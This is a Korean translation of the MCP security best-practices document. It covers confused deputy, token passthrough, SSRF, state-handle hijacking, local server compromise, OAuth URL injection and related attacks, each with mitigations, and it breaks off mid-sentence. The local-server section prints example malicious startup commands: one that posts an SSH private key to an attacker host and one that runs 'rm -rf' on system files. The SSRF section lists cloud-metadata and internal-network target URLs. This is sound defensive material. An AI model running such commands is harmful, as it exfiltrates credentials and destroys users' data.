MCP 보안 모범 사례 (Security Best Practices)¶
MCP 구현을 위한 보안 고려사항, 공격 벡터, 그리고 모범 사례를 다룹니다.
소개¶
목적과 범위¶
이 문서는 Model Context Protocol(MCP)을 위한 보안 고려사항을 제공하며, MCP 인증(Authorization) 스펙을 보완합니다. 여기서는 MCP 구현에 특화된 보안 위험, 공격 벡터, 그리고 모범 사례를 정리합니다.
주요 독자는 MCP 인증 흐름을 구현하는 개발자, MCP 서버 운영자, 그리고 MCP 기반 시스템을 평가하는 보안 전문가입니다. 이 문서는 MCP 인증 스펙 및 OAuth 2.0 보안 모범 사례와 함께 읽어야 합니다.
공격과 완화 대책¶
이 섹션에서는 MCP 구현에 대한 공격과 그에 대한 잠재적 대응책을 자세히 설명합니다.
혼동된 대리인 문제 (Confused Deputy Problem)¶
공격자는 제3자 API에 연결하는 MCP 프록시 서버를 악용해 "혼동된 대리인(confused deputy)" 취약점을 만들 수 있습니다. 이 공격은 정적 클라이언트 ID, 동적 클라이언트 등록, 동의 쿠키(consent cookie)의 조합을 악용해, 적절한 사용자 동의 없이 악성 클라이언트가 인증 코드를 얻어내는 방식입니다.
용어 정리¶
MCP 프록시 서버 : MCP 클라이언트를 제3자 API에 연결하는 MCP 서버로, MCP 기능을 제공하면서 작업을 위임하고 제3자 API 서버에 대한 단일 OAuth 클라이언트 역할을 합니다.
제3자 인증 서버 (Third-Party Authorization Server) : 제3자 API를 보호하는 인증 서버입니다. 동적 클라이언트 등록을 지원하지 않을 수 있어, MCP 프록시가 모든 요청에 정적 클라이언트 ID를 사용해야 할 수 있습니다.
제3자 API : 실제 API 기능을 제공하는 보호된 리소스 서버입니다. 이 API에 접근하려면 제3자 인증 서버가 발급한 토큰이 필요합니다.
정적 클라이언트 ID (Static Client ID) : MCP 프록시 서버가 제3자 인증 서버와 통신할 때 사용하는 고정된 OAuth 2.0 클라이언트 식별자입니다. 이 클라이언트 ID는 제3자 API에 대한 클라이언트로 동작하는 MCP 서버를 가리킵니다. 어떤 MCP 클라이언트가 요청을 시작했는지와 무관하게, 모든 MCP 서버-제3자 API 상호작용에서 동일한 값입니다.
취약 조건¶
이 공격은 다음 조건이 모두 충족될 때 가능해집니다.
- MCP 프록시 서버가 제3자 인증 서버와 함께 정적 클라이언트 ID를 사용함
- MCP 프록시 서버가 MCP 클라이언트의 동적 등록(각각 고유한
client_id를 부여받음)을 허용함 - 제3자 인증 서버가 첫 번째 인증 후 동의 쿠키를 설정함
- MCP 프록시 서버가 제3자 인증으로 전달하기 전에 클라이언트별 동의를 제대로 구현하지 않음
아키텍처와 공격 흐름¶
정상적인 OAuth 프록시 사용 (사용자 동의를 보존함)¶
sequenceDiagram
participant UA as User-Agent (Browser)
participant MC
악성 OAuth 프록시 사용 (사용자 동의를 건너뜀)¶
공격 설명¶
MCP 프록시 서버가 정적 클라이언트 ID로 제3자 인증 서버에 인증할 때, 다음과 같은 공격이 가능해집니다.
- 사용자는 제3자 API에 접근하기 위해 MCP 프록시 서버를 통해 정상적으로 인증합니다.
- 이 과정에서 제3자 인증 서버는 사용자 에이전트에 정적 클라이언트 ID에 대한 동의를 뜻하는 쿠키를 설정합니다.
- 공격자는 나중에 사용자에게 악성 링크를 보내는데, 여기에는 악성
redirect_uri와 새로 동적으로 등록한 클라이언트 ID가 포함된 조작된 인증 요청이 들어 있습니다. - 사용자가 링크를 클릭하면 브라우저에는 이전 정상 요청에서 받은 동의 쿠키가 아직 남아 있습니다.
- 제3자 인증 서버는 쿠키를 감지하고 동의 화면을 건너뜁니다.
- MCP 인증 코드는 동적 클라이언트 등록 시 지정한 악성
redirect_uri에 따라 공격자의 서버로 리다이렉트됩니다. - 공격자는 훔친 인증 코드를 MCP 서버용 액세스 토큰으로 교환하는데, 이 과정에서 사용자의 명시적 승인은 없습니다.
- 이제 공격자는 피해 사용자처럼 제3자 API에 접근할 수 있게 됩니다.
완화 대책¶
혼동된 대리인 공격을 막으려면 MCP 프록시 서버는 아래에 설명된 대로 반드시 클라이언트별 동의와 적절한 보안 통제를 구현해야 합니다.
동의 흐름 구현¶
다음 다이어그램은 제3자 인증 흐름 이전에 실행되는 클라이언트별 동의를 올바르게 구현하는 방법을 보여줍니다.
필수 보호 조치¶
클라이언트별 동의 저장 (Per-Client Consent Storage) — MCP 프록시 서버는 다음을 반드시 수행해야 합니다.
- 사용자별로 승인된
client_id값의 레지스트리를 유지 - 제3자 인증 흐름을 시작하기 전에 이 레지스트리를 확인
- 동의 결정을 안전하게 저장(서버 측 데이터베이스 또는 서버 전용 쿠키)
동의 UI 요구사항 (Consent UI Requirements) — MCP 레벨 동의 페이지는 다음을 반드시 충족해야 합니다.
- 요청한 MCP 클라이언트를 이름으로 명확히 식별
- 요청되는 특정 제3자 API 스코프를 표시
- 토큰이 전송될 등록된
redirect_uri를 표시 - CSRF 방어 구현(
state파라미터, CSRF 토큰 등) - 클릭재킹을 막기 위해
frame-ancestorsCSP 지시문 또는X-Frame-Options: DENY로 iframing 차단
동의 쿠키 보안 (Consent Cookie Security) — 쿠키로 동의 결정을 추적한다면 쿠키는 다음을 반드시 충족해야 합니다.
- 쿠키 이름에
__Host-접두어 사용 Secure,HttpOnly,SameSite=Lax속성 설정- 암호학적으로 서명하거나 서버 측 세션 사용
- 특정
client_id에 바인딩("사용자가 동의함" 수준이 아니라)
리다이렉트 URI 검증 (Redirect URI Validation) — MCP 프록시 서버는 다음을 반드시 수행해야 합니다.
- 인증 요청의
redirect_uri가 등록된 URI와 정확히 일치하는지 검증 - 재등록 없이
redirect_uri가 바뀌면 요청 거부 - 패턴 매칭이나 와일드카드가 아닌 정확한 문자열 일치 사용
OAuth state 파라미터 검증 (OAuth State Parameter Validation) — OAuth state 파라미터는 인증 코드 가로채기와 CSRF 공격을 막는 데 핵심적입니다. 제대로 된 state 검증은 인증 엔드포인트에서의 동의 승인이 콜백 엔드포인트에서도 강제되도록 보장합니다. OAuth 흐름을 구현하는 MCP 프록시 서버는 다음을 반드시 수행해야 합니다.
- 각 인증 요청마다 암호학적으로 안전한 랜덤
state값을 생성 state값을 서버 측(안전한 세션 저장소 또는 암호화된 쿠키)에 동의가 명시적으로 승인된 후에만 저장state추적 쿠키/세션을 제3자 ID 제공자로 리다이렉트하기 직전에(동의 승인 이전이 아니라) 설정- 콜백 엔드포인트에서
state쿼리 파라미터가 콜백 요청의 쿠키 또는 요청의 쿠키 기반 세션에 저장된 값과 정확히 일치하는지 검증 state파라미터가 없거나 일치하지 않는 콜백 요청은 거부state값이 일회용(검증 후 삭제)이고 짧은 만료 시간(예: 10분)을 가지도록 보장
state 값을 담은 동의 쿠키나 세션은 사용자가 MCP 서버의 인증 엔드포인트에서 동의 화면을 승인한 이후에만 설정해야 합니다. 동의 승인 전에 이 쿠키를 설정하면 동의 화면이 무력화됩니다. 공격자가 악성 인증 요청을 만들어 동의 화면을 우회할 수 있기 때문입니다.
토큰 패스스루 (Token Passthrough)¶
"토큰 패스스루"는 MCP 서버가 MCP 클라이언트로부터 토큰을 받아들이면서 그 토큰이 MCP 서버에 적절히 발급된 것인지 검증하지 않고 다운스트림 API로 그대로 전달하는 안티 패턴입니다. 서버가 다른 리소스용으로 발급된 토큰을 받아들이면 공격자가 무단 접근을 얻거나 MCP 서버를 손상시킬 수 있습니다. 이 취약점은 두 가지 중요한 차원을 갖습니다.
- 대상(audience) 검증 실패. MCP 서버가 토큰이 자신을 위해 의도된 것인지(예: RFC9068에서 언급된 audience 클레임) 확인하지 않으면, 원래 다른 서비스를 위해 발급된 토큰을 받아들일 수 있습니다. 이는 OAuth 기본 보안 경계를 깨뜨려 공격자가 의도하지 않은 여러 서비스에서 정당한 토큰을 재사용할 수 있게 만듭니다.
- 토큰 패스스루. MCP 서버가 잘못된 audience를 가진 토큰을 받아들일 뿐 아니라 이 수정되지 않은 토큰을 다운스트림 서비스로 전달한다면 "혼동된 대리인" 문제를 일으킬 수 있습니다. 즉 다운스트림 API가 그 토큰을 MCP 서버에서 온 것처럼 잘못 신뢰하거나, 토큰이 업스트림 API에 의해 검증된 것으로 오인할 수 있습니다.
위험¶
토큰 패스스루는 인증 스펙에서 명시적으로 금지됩니다. 다음과 같은 여러 보안 위험을 도입하기 때문입니다.
- 보안 통제 우회 (Security Control Circumvention)
- MCP 서버나 다운스트림 API는 토큰 audience 또는 기타 자격 증명 제약에 의존하는 중요 보안 통제(rate limiting, 요청 검증, 트래픽 모니터링 등)를 구현할 수 있습니다. 클라이언트가 MCP 서버의 적절한 검증이나 올바른 서비스용 발급 확인 없이 다운스트림 API와 직접 토큰을 사용할 수 있게 되면, 이러한 통제를 우회하게 됩니다.
- 책임 추적 및 감사 흔적 문제 (Accountability and Audit Trail Issues)
- MCP 서버는 클라이언트가 업스트림 발급 액세스 토큰(서버에 불투명할 수 있음)으로 호출할 때 MCP 클라이언트를 식별하거나 구분할 수 없습니다.
- 다운스트림 리소스 서버의 로그에는 실제로 토큰을 전달하는 MCP 서버가 아니라 다른 소스에서 다른 신원으로 온 것처럼 보이는 요청이 기록될 수 있습니다.
- 두 요인 모두 사고 조사를 어렵게 만듭니다.
- MCP 서버가 토큰의 클레임(역할, 권한, audience 등)이나 기타 메타데이터를 검증하지 않고 전달하면, 훔친 토큰을 가진 악성 행위자가 서버를 데이터 유출 프록시로 사용할 수 있습니다.
- 신뢰 경계 문제 (Trust Boundary Issues)
- 다운스트림 리소스 서버는 특정 엔티티를 신뢰합니다. 이 신뢰에는 출처나 클라이언트 동작 패턴에 대한 가정이 포함될 수 있습니다. 이 신뢰 경계를 깨면 예상치 못한 문제가 생길 수 있습니다.
- 토큰이 적절한 검증 없이 여러 서비스에서 수용되면, 한 서비스를 손상시킨 공격자가 그 토큰으로 다른 연결된 서비스에 접근할 수 있습니다.
- 미래 호환성 위험 (Future Compatibility Risk)
- MCP 서버가 오늘날 "순수 프록시"로 시작했다 하더라도 나중에 보안 통제를 추가해야 할 수 있습니다. 처음부터 올바른 토큰 audience 분리를 시작하면 보안 모델을 진화시키기 쉬워집니다.
완화 대책¶
MCP 서버는 MCP 서버에 명시적으로 발급되지 않은 토큰은 어떤 것이든 받아들이면 안 됩니다.
서버 측 요청 위조 (Server-Side Request Forgery, SSRF)¶
SSRF는 공격자가 MCP 클라이언트가 의도하지 않은 대상으로 HTTP 요청을 보내도록 유도해, 내부 네트워크 리소스, 클라우드 메타데이터 엔드포인트, 또는 다른 보호된 서비스에 접근할 수 있는 공격입니다.
공격 설명¶
OAuth 메타데이터 발견 과정에서 MCP 클라이언트는 악성 MCP 서버가 제어할 수 있는 여러 소스에서 URL을 가져옵니다.
WWW-Authenticate헤더의resource_metadataURL- 보호 리소스 메타데이터(Protected Resource Metadata) 문서의
authorization_serversURL - 인증 서버 메타데이터(Authorization Server Metadata)의
token_endpoint,authorization_endpoint및 기타 URL
악성 MCP 서버는 이 필드들에 내부 리소스를 가리키는 URL을 채워 넣어 다음과 같은 공격 패턴을 가능하게 합니다.
- 내부 IP 직접 접근:
http://192.168.1.1/admin또는http://10.0.0.1/api같은 URL로 내부 네트워크 서비스를 대상으로 함 - 클라우드 메타데이터 엔드포인트:
http://169.254.169.254/(AWS/GCP/Azure 메타데이터 서비스)를 대상으로 한 URL로 클라우드 자격 증명과 인스턴스 정보를 유출 - 로컬호스트 서비스:
http://localhost:6379/같은 URL로 로컬 서비스(Redis, 데이터베이스, 관리 패널)와 상호작용 - DNS 리바인딩: 검증 시점과 사용 시점 사이에 DNS 해석이 바뀌는 도메인(예:
https://attacker.com이 처음엔 안전한 IP로 해석되다가 나중에192.168.1.1로 해석되는 경우) - 리다이렉트 체인: 정상처럼 보이는 URL이 내부 리소스로 리다이렉트되는 경우
위험¶
- 자격 증명 유출: 클라우드 메타데이터 엔드포인트는 종종 IAM 자격 증명, API 키, 기타 비밀을 노출합니다.
- 내부 네트워크 정찰: 오류 메시지가 내부 네트워크 토폴로지와 서비스에 대한 정보를 드러냅니다.
- 서비스 상호작용: POST 요청(예: 토큰 엔드포인트로)이 내부 서비스의 변경(mutation)을 유발할 수 있습니다.
- 방화벽 우회: MCP 클라이언트가 프록시 역할을 하며 네트워크 경계 통제를 우회하게 됩니다.
- 데이터 유출: 내부 서비스의 응답이 오류 메시지나 OAuth 흐름을 통해 공격자에게 반사될 수 있습니다.
완화 대책¶
서버에 배포되는 MCP 클라이언트는 SSRF 위험을 반드시 고려하고, OAuth 관련 URL을 가져올 때 적절한 완화 조치를 구현해야 합니다. 어떤 보호 조치가 적절한지는 네트워크 환경에 따라 달라집니다.
HTTPS 강제 — MCP 클라이언트는 프로덕션 환경에서 모든 OAuth 관련 URL에 HTTPS를 요구해야 합니다(SHOULD).
- 개발 중 루프백 주소(
localhost,127.0.0.1,::1)를 제외한http://URL은 거부 - 이는 모든 OAuth 프로토콜 URL에 루프백 redirect URI를 제외하고 HTTPS를 요구하는 OAuth 2.1 Section 1.5와 일치함
- 개발/테스트 시나리오를 위한 명시적 옵트아웃 메커니즘 제공
사설 IP 대역 차단 — MCP 클라이언트는 RFC 9728 Section 7.7에서 권장하는 대로 사설 및 예약 IP 주소 대역에 대한 요청을 차단해야 합니다(SHOULD).
- 사설 IPv4 대역:
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 - 루프백:
127.0.0.0/8,::1(개발용으로 명시적으로 허용된 경우 제외) - 링크-로컬:
169.254.0.0/16(클라우드 메타데이터 엔드포인트 포함) - 사설 IPv6 대역:
fc00::/7,fe80::/10
IP 검증을 수동으로 구현하는 것은 피하세요. 공격자는 커스텀 파서가 놓치기 쉬운 인코딩 기법(8진수, 16진수, IPv4-매핑 IPv6)을 악용합니다.
리다이렉트 대상 검증 — MCP 클라이언트는 리다이렉트 대상에도 동일한 URL 검증을 적용해야 합니다(SHOULD).
- 내부 리소스로의 리다이렉트를 맹목적으로 따르지 않음
- 리다이렉트 대상에도 HTTPS 및 IP 대역 제한 적용
- 자동 리다이렉트 추적을 끄고 각 홉을 검증하는 것 고려
이그레스 프록시 사용 — 서버 측 MCP 클라이언트 배포에서 운영자는 네트워크 정책을 강제하는 이그레스 프록시 사용을 고려해야 합니다(SHOULD).
- 내부 대상을 차단하는 프록시를 통해 OAuth 발견 요청을 라우팅
- Smokescreen 같은 설계상 SSRF를 방지하는 이그레스 프록시 사용
- MCP 클라이언트의 외부 접근을 제한하도록 네트워크 정책 구성
DNS 해석 고려사항 — DNS 기반 검증의 TOCTOU(검사-시점-사용-시점) 문제를 인지하세요.
- 공격자의 도메인은 검증 시에는 안전한 IP로, 실제 요청 시에는 내부 IP로 해석될 수 있습니다.
- 검사와 사용 사이에 DNS 해석 결과를 고정(pinning)하는 것을 고려
- 심층 방어: DNS 검사를 다른 완화 조치와 결합
SSRF 위험은 MCP 클라이언트에만 국한되지 않습니다. 인증 서버가 Client ID 메타데이터 문서를 지원하면, 인증 서버는 알 수 없는 클라이언트로부터 URL을 입력받아 그 URL을 가져옵니다. 악성 클라이언트는 이를 이용해 인증 서버가 접근 가능한 사설 관리 엔드포인트 같은 임의 URL에 요청을 보내도록 유발할 수 있습니다. 위에서 설명한 사설 IP 대역 차단, 이그레스 프록시 사용 같은 완화 조치는 클라이언트 메타데이터 문서를 가져오는 인증 서버에도 동일하게 적용됩니다. 자세한 지침은 Client ID 메타데이터 문서 스펙의 SSRF 공격(Server Side Request Forgery Attacks)을 참조하세요.
리소스와 도구¶
다음 리소스는 개발자가 MCP 클라이언트에 SSRF 보호를 구현하는 데 도움이 됩니다.
참고 문서
- OWASP SSRF 예방 치트 시트: 입력 검증, 허용 목록 전략, 네트워크 레벨 통제를 포함한 SSRF 예방 기법에 대한 종합적인 지침
- OWASP Top 10 A10:2021 - SSRF: 가장 중요한 웹 애플리케이션 보안 위험 맥락에서의 SSRF
상태 핸들 하이재킹 (State Handle Hijacking)¶
MCP는 무상태(stateless)이며 프로토콜 수준의 세션이 없습니다. 여러 요청에 걸친 상태가 필요한 서버는 쇼핑 카트 ID나 워크플로 ID 같은 명시적 핸들을 발급하고, 각 요청에서 이를 일반적인 도구 인자로 돌려받습니다. 상태 핸들 하이재킹은 무단 당사자가 그러한 핸들을 얻거나 추측해 다른 사용자의 상태에 접근하거나 수정하는 공격 벡터입니다.
공격 설명¶
- MCP 서버가 인증된 사용자를 위해 상태 핸들을 발급하고 이를 도구 결과로 반환합니다.
- 공격자가 핸들을 얻거나 추측합니다.
- 공격자가 핸들을 인자로 하여 MCP 서버의 도구를 호출합니다.
- MCP 서버는 핸들이 호출자에게 속하는지 확인하지 않고 원래 사용자의 상태를 조작하여, 무단 접근이나 행동을 허용합니다.
완화 대책¶
인증을 구현하는 MCP 서버는 반드시 모든 인바운드 요청을 검증해야 합니다. MCP 서버는 상태 핸들의 소유를 인증으로 취급해서는 안 됩니다. MCP 서버는 안전한 난수 생성기로 생성된 안전하고 비결정적인 핸들을 사용해야 합니다(SHOULD). 공격자가 추측할 수 있는 예측 가능하거나 순차적인 식별자는 피하세요. 핸들에 만료를 설정하면 위험을 줄일 수도 있습니다. MCP 서버는 핸들을 인증된 사용자에 서버 측에서 바인딩해야 합니다(SHOULD). 예를 들어 저장된 상태를 <user_id>:<handle>로 키잉하되 사용자 ID는 클라이언트가 제공한 것이 아니라 검증된 토큰에서 유도하고, 다른 주체가 제시한 핸들은 거부합니다. 이렇게 하면 공격자가 핸들을 추측하더라도 다른 사용자를 사칭할 수 없습니다. 프로토콜 버전 2025-11-25 및 이전에서 사용하는 서버 할당 세션 ID 보안에 대한 지침은 이 페이지의 2025-11-25 버전에서의 세션 하이재킹을 참조하세요.
로컬 MCP 서버 손상 (Local MCP Server Compromise)¶
로컬 MCP 서버는 사용자가 서버를 다운로드해 실행하거나, 직접 서버를 작성하거나, 클라이언트의 구성 흐름을 통해 설치한 것처럼 사용자의 로컬 머신에서 실행되는 MCP 서버입니다. 이러한 서버는 사용자 시스템에 직접 접근할 수 있고, 사용자 머신에서 실행 중인 다른 프로세스가 접근할 수 있어 공격의 매력적인 대상이 됩니다.
공격 설명¶
로컬 MCP 서버는 MCP 클라이언트와 같은 머신에서 다운로드되어 실행되는 바이너리입니다. 적절한 샌드박싱과 동의 요구사항이 없다면 다음과 같은 공격이 가능해집니다.
- 공격자가 클라이언트 구성에 악성 "시작" 명령을 포함시킵니다.
- 공격자가 서버 자체 내부에 악성 페이로드를 배포합니다.
- 공격자가 DNS 리바인딩을 통해 localhost에 계속 실행 중인 안전하지 않은 로컬 서버에 접근합니다.
포함될 수 있는 악성 시작 명령의 예:
# 데이터 유출
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
# 권한 상승
sudo rm -rf /important/system/files && echo "MCP server installed!"
위험¶
부적절한 제한이 없거나 신뢰할 수 없는 소스의 로컬 MCP 서버는 여러 중요한 보안 위험을 도입합니다.
- 임의 코드 실행(Arbitrary code execution). 공격자는 MCP 클라이언트 권한으로 어떤 명령이든 실행할 수 있습니다.
- 가시성 부족(No visibility). 사용자는 어떤 명령이 실행되는지 알 수 없습니다.
- 명령 난독화(Command obfuscation). 악성 행위자는 복잡하거나 난해한 명령으로 정상처럼 보이게 할 수 있습니다.
- 데이터 유출(Data exfiltration). 공격자는 손상된 JavaScript를 통해 정당한 로컬 MCP 서버에 접근할 수 있습니다.
- 데이터 손실(Data loss). 공격자나 정상 서버의 버그가 호스트 머신의 복구 불가능한 데이터 손실로 이어질 수 있습니다.
완화 대책¶
MCP 클라이언트가 원클릭 로컬 MCP 서버 구성을 지원한다면, 명령을 실행하기 전에 적절한 동의 메커니즘을 반드시 구현해야 합니다.
구성 전 동의 (Pre-Configuration Consent) — 원클릭 구성을 통해 새 로컬 MCP 서버를 연결하기 전에 명확한 동의 대화 상자를 표시합니다. MCP 클라이언트는 반드시:
- 실행될 정확한 명령을 잘리지 않고 표시(인자와 파라미터 포함)
- 사용자 시스템에서 코드를 실행하는 잠재적 위험 작업임을 명확히 식별
- 진행 전에 명시적 사용자 승인 요구
- 사용자가 구성을 취소할 수 있게 허용
MCP 클라이언트는 잠재적 코드 실행 공격 벡터를 완화하기 위한 추가 검사와 가드레일을 구현해야 합니다(SHOULD).
- 위험한 명령 패턴 강조(예:
sudo,rm -rf, 네트워크 작업, 예상 디렉터리 밖의 파일 시스템 접근이 포함된 명령) - 민감한 위치(홈 디렉터리, SSH 키, 시스템 디렉터리)에 접근하는 명령에 대한 경고 표시
- MCP 서버가 클라이언트와 동일한 권한으로 실행된다는 경고 표시
- 샌드박스 환경에서 최소 기본 권한으로 MCP 서버 명령 실행
- 파일 시스템, 네트워크 및 기타 시스템 리소스에 대한 접근을 제한한 채 MCP 서버 실행
- 필요할 때 추가 권한(예: 특정 디렉터리 접근, 네트워크 접근)을 명시적으로 부여할 수 있는 메커니즘 제공
- 플랫폼에 적합한 샌드박싱 기술(컨테이너, chroot, 애플리케이션 샌드박스 등) 사용
- 신흥 취약점을 고려해 샌드박싱 솔루션을 최신 상태로 유지
서버를 로컬에서 실행하려는 MCP 서버는 악성 프로세스의 무단 사용을 막기 위한 조치를 구현해야 합니다(SHOULD).
- 접근을 MCP 클라이언트로만 제한하려면
stdio전송 사용 - HTTP 전송을 사용한다면 접근 제한(예: 인증 토큰 요구, 접근이 제한된 유닉스 도메인 소켓이나 기타 IPC 메커니즘 사용)
OAuth 인증 URL 취약점 (OAuth Authorization URL Vulnerabilities)¶
악성 MCP 서버가 제공하는 OAuth 인증 URL은 클라이언트 측 URL 처리 취약점을 악용해 XSS(크로스 사이트 스크립팅) 공격과 RCE(원격 코드 실행)로 이어질 수 있습니다.
공격 설명¶
OAuth 인증 흐름에서 MCP 서버는 클라이언트가 브라우저에서 열거나 프로그래밍 방식으로 처리하는 인증 URL을 제공합니다. 악성 서버는 MCP 클라이언트의 부족한 URL 검증을 다음 공격 벡터로 악용할 수 있습니다.
JavaScript URL 주입 (XSS)
- 악성 MCP 서버가 인증 엔드포인트로
javascript:URL을 제공합니다. - MCP 클라이언트가 이 URL을
window.open()또는 유사한 브라우저 API에 그대로 전달합니다. - 브라우저가 URL에 포함된 JavaScript 코드를 실행합니다.
- 공격자는 클라이언트 애플리케이션 내에서 JavaScript 실행 컨텍스트를 얻어 세션 하이재킹, 자격 증명 탈취, 추가 악용으로 이어질 수 있습니다.
셸 실행을 통한 명령 주입
- 악성 MCP 서버가 셸 명령 주입 페이로드를 포함한 URL을 제공합니다.
- MCP 클라이언트가 URL을 열 때 셸 명령(예:
cmd.exe, PowerShell, 셸 스크립트)을 사용합니다. - 셸이 URL의 일부를 추가로 실행할 명령으로 해석합니다.
- 공격자는 사용자 시스템에서 임의 코드 실행을 달성합니다.
stdio 전송 권한 상승 — XSS 취약점이 stdio 전송 기능과 결합되면, 공격자는 웹 기반 공격을 전체 시스템 손상으로 확대할 수 있습니다. 자세한 공격 벡터와 완화 조치는 프록시 시나리오에서의 stdio 전송 보안을 참조하세요.
위험¶
OAuth 인증 URL 취약점은 여러 중요한 보안 위험을 도입합니다.
- 크로스 사이트 스크립팅(XSS). 악성 JavaScript 실행은 클라이언트 애플리케이션 내에서 세션 하이재킹, 자격 증명 탈취, 무단 행동으로 이어질 수 있습니다.
- 원격 코드 실행(RCE). 셸 실행을 통한 명령 주입으로 공격자가 사용자 권한으로 임의 코드를 실행할 수 있습니다.
- 권한 상승(Privilege Escalation). XSS와
stdio전송의 결합은 웹 기반 공격을 전체 시스템 손상으로 확대할 수 있습니다. - 데이터 유출(Data Exfiltration). 공격자가 사용자 시스템에 저장된 민감한 데이터, 구성 파일, 자격 증명에 접근할 수 있습니다.
- 지속성(Persistence). 공격자는 지속적 접근을 위해 악성코드를 설치하거나 백도어를 만들거나 시스템 구성을 수정할 수 있습니다.
완화 대책¶
URL 스킴 검증 — MCP 클라이언트는 인증 URL을 검증하고 위험한 스킴을 거부해야 반드시 합니다.
- 인증 URL에
http://와https://스킴만 허용해야 반드시 합니다.http://스킴은 로컬 개발 중 루프백 주소(예:localhost,127.0.0.1,::1)에서만 허용되며, 프로덕션 인증 서버는https://를 반드시 사용해야 합니다. javascript:,data:,file:,vbscript:및 기타 잠재적으로 위험한 스킴은 반드시 거부- 블록리스트 방식보다 허용 목록(allowlist) 기반 검증을 사용해야 합니다(SHOULD)
안전한 URL 열기 — MCP 클라이언트는 URL을 열 때 셸 실행을 피해야 반드시 합니다.
- URL을 여는 데 셸 명령(예:
cmd.exe,sh, PowerShell)을 사용해서는 절대 안 됩니다. - 플랫폼별, 비셸 URL 열기 메커니즘을 사용해야 합니다(SHOULD)
콘텐츠 보안 정책 (CSP) — 웹 기반 MCP 클라이언트는 JavaScript 실행을 막기 위해 CSP 헤더를 구현해야 합니다(SHOULD).
- 인라인 JavaScript 실행을 막기 위해
script-src 'self'설정 - 리소스 로딩 제한을 위해
default-src 'self'사용 - 인라인 스크립트가 필요한 동적 콘텐츠에는
script-src 'nonce-<random>'고려
입력 정화 — MCP 클라이언트는 MCP 서버로부터 받은 모든 URL을 정화하고 검증해야 반드시 합니다.
- 엄격한 URL 파싱과 검증 구현
- 셸에서 해석될 수 있는 특수 문자가 포함된 URL 거부
- 전용 URL 정화 라이브러리 사용 고려
- 보안 모니터링을 위해 의심스러운 인증 URL 로깅
프록시 시나리오에서의 stdio 전송 보안 (stdio Transport Security in Proxy Scenarios)¶
stdio 전송 자체는 본질적으로 취약하지 않습니다. 그러나 별도의 프록시 서비스가 stdio 연결을 관리하고 MCP 서버를 자식 프로세스로 생성할 수 있는 프록시 아키텍처에서는, 웹 기반 공격에서 전체 시스템 손상으로 이어지는 중요한 확대 경로를 제공할 수 있습니다.
공격 설명¶
중요: 이 공격 벡터는 프록시 아키텍처를 사용하는 MCP 구현에만 적용되며, 직접 stdio 전송 사용에는 적용되지 않습니다. 프록시 기반 MCP 구현에서 로컬 프록시 서비스는 클라이언트와 MCP 서버 사이에 위치해 stdio 전송을 통해 서버를 자식 프로세스로 생성합니다. 이 아키텍처는 클라이언트 측 취약점과 결합될 때 권한 상승 경로를 만듭니다.
- 공격자가 XSS 또는 기타 클라이언트 측 코드 실행(예: OAuth URL 취약점을 통해)을 달성합니다.
- 위 공격 벡터를 사용해 악성 행위자가 클라이언트 환경에서 클라이언트와 프록시 사이에 설정된 MCP 프록시 인증 토큰에 접근합니다.
- 악성 행위자가 로컬 MCP 프록시 서비스에 인증된 요청을 보냅니다.
- 프록시가
stdio전송을 통해 임의 명령을 생성합니다(정당한 MCP 서버 명령이라고 믿고). - 공격자는 사용자 권한으로 원격 코드 실행을 달성합니다.
위험¶
- 권한 상승(Privilege Escalation). 웹 기반 취약점(XSS)이 프록시 명령 실행을 통해 호스트 시스템에서의 임의 코드 실행으로 확대될 수 있습니다.
- 인증 우회(Authentication Bypass). 훔친 프록시 인증 토큰이 stdio 프로세스 생성 기능에 대한 무단 접근을 허용합니다.
- 시스템 손상(System Compromise). 공격자는 MCP 프록시 프로세스가 실행할 권한이 있는 어떤 명령이든 실행할 수 있습니다.
완화 대책¶
일차적인 방어는 이 공격 벡터를 가능하게 하는 취약점 클래스를 방지하는 것입니다.
- OAuth 인증 URL 검증에 설명된 완화 조치 구현
- 신뢰할 수 없는 소스의 JavaScript 실행을 막기 위해 CSP 사용
- 처리 전에 MCP 서버로부터의 모든 입력 검증 및 정화
XSS가 근본적으로 클라이언트의 보안 컨텍스트를 손상시키므로, 피해를 제한하는 데 집중합니다.
stdio 전송 제한 — MCP 프록시 서비스는 stdio 전송에 추가 보안 통제를 구현해야 합니다(SHOULD).
- 생성된 프로세스에 샌드박싱 또는 컨테이너화 구현
- 생성된 MCP 서버의 파일 시스템 접근 제한
- 보안 모니터링을 위해 모든
stdio전송 사용 로깅 - 잠재적으로 위험한 명령에 추가 인증 요구
클라이언트 측 보호 — MCP 클라이언트는 심층 방어 조치를 구현해야 합니다(SHOULD).
- 가능하면 프록시 통신을 별도 보안 컨텍스트에 격리
- 프록시 프로세스 권한에 최소 권한 원칙 적용
- 프록시 서비스 자체에 프로세스 레벨 샌드박싱 구현
- 프록시를 컨테이너나 제한된 환경에서 실행하는 것 고려
믹스업 공격 (Mix-Up Attacks)¶
공격 설명¶
MCP 클라이언트는 수명 동안 일반적으로 많은 인증 서버와 상호작용합니다. 그중 하나를 제어하는 공격자는 클라이언트가 다른 정직한 인증 서버에서 발급된 인증 코드나 토큰을 자신에게 보내도록 유도할 수 있습니다(믹스업 공격. RFC9207 Section 1에서 설명).
완화 대책¶
인증 응답 검증(Authorization Response Validation)은 응답을 클라이언트가 리다이렉트 전에 기록한 인증 서버에 바인딩해, 인증 코드가 의도하지 않은 토큰 엔드포인트에서 교환되지 못하게 함으로써 이 공격을 완화합니다. PKCE만으로는 이 공격을 막지 못합니다. 클라이언트가 code_verifier를 공격자의 토큰 엔드포인트로 전송하기 때문입니다. 공격자의 인증 서버가 정직한 인증 서버에 도달하기 전에 요청을 가로채는 경우 리소스 지시자도 도움이 되지 않습니다. 이 완화는 정직한 인증 서버가 iss를 발급한다는 것에 의존하며, 이를 발급하지 않는 정직한 서버에 대해서는 보호를 제공하지 못합니다.
Localhost 리다이렉트 URI 사칭 (Localhost Redirect URI Impersonation)¶
네이티브 및 로컬 실행 MCP 클라이언트는 일반적으로 localhost 리다이렉트 URI를 사용합니다. 클라이언트가 Client ID 메타데이터 문서로 자신을 식별할 때, 메타데이터 문서는 도메인의 통제를 증명하지만 localhost 리다이렉트 URI에서 어떤 로컬 프로세스가 수신 중인지는 증명할 수 없습니다.
공격 설명¶
공격자는 다음 방법으로 어떤 클라이언트든 사칭할 수 있습니다.
- 정당한 클라이언트의 메타데이터 URL을 자신의
client_id로 제공 - 어떤
